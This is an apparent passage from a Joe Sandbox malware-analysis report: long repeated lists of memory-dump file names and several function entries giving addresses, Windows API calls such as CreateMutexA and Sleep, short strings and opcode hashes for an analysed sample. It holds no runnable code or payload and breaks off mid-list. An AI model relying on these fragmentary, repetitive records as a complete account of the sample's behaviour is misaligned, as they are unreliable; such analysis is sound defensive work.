Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 870e754d0848d9f7ac33c4c5e0e4161a5967be0fd07d99ad98e8fada69e4d457
Instruction ID: c5267253b7e07745193903cdc14d9e85b344a974437aa2035bdc395565619810
Opcode Fuzzy Hash: 870e754d0848d9f7ac33c4c5e0e4161a5967be0fd07d99ad98e8fada69e4d457
Instruction Fuzzy Hash: 2E216A32624201DBEB189F6CEDC9B6CB365EBC1310F204619E408D72D5CBB55DE08A12

Function 0026A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: f200847dcf710c464bed358a249e60da265e1264527135b45147ff48dfe192d8
Instruction ID: 85795526a1ac7e8968dfe6ff920d05d91a593266a3695842932be685f22133fd
Opcode Fuzzy Hash: f200847dcf710c464bed358a249e60da265e1264527135b45147ff48dfe192d8
Instruction Fuzzy Hash: 85216031279202D6FB145B7C9D9A72DB251EF82304F244D16E508B72D1CB7658F08D93

Function 0026A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 9bae514ea390ddc2394693624f11a9e445213ab9175dc745656cd98157af37a1
Instruction ID: cb5345ea8cbcf216aaac40710f269eb7380f1b19d67d253b2ec3dbe1b4ba5f56
Opcode Fuzzy Hash: 9bae514ea390ddc2394693624f11a9e445213ab9175dc745656cd98157af37a1
Instruction Fuzzy Hash: 5A216A32265201DBEB089B28ED8976CB765DB81310F248619E808A73D4C77599E08A52

Function 0026B1A0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0026B3C8

Strings

c13L, xrefs: 0026B1B7

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: c13L
API String ID: 2538663250-2793365725
Opcode ID: 2fdc08d9cd3290d78cb3de73233e3242bd5af7ef6e1cc30da4c964a22a84d08e
Instruction ID: 9afb5b1e0c9600e6d82159b647cad76aa22696055772563b9c783181e041add1
Opcode Fuzzy Hash: 2fdc08d9cd3290d78cb3de73233e3242bd5af7ef6e1cc30da4c964a22a84d08e
Instruction Fuzzy Hash: 1BB10670A10268DFEB29CF14C998BDEB7B5EF05304F9085D9E409A7281D775AAC8CF90

Function 0029B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,002A5024,?,00000000,?,0029EE3F,?,00000004,00000000,?,?,?,00299714), ref: 0029B07E

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c7e880dda4f22eda460ac1b98f7e6ad89d4fccd18201533563ac44ae9e0f482
Instruction ID: 7dd6b28cb5ce26cb1efd3c7693c028b8fd7e921d6edb0ddae71284908b9875ad
Opcode Fuzzy Hash: 0c7e880dda4f22eda460ac1b98f7e6ad89d4fccd18201533563ac44ae9e0f482
Instruction Fuzzy Hash: 91E06D3517122796EE323A75AE89B6FA648DB423F0F151221EE6496190EB61DC3085E1

Function 002687B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0026DA1D,?,?,?,?), ref: 002687B9

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
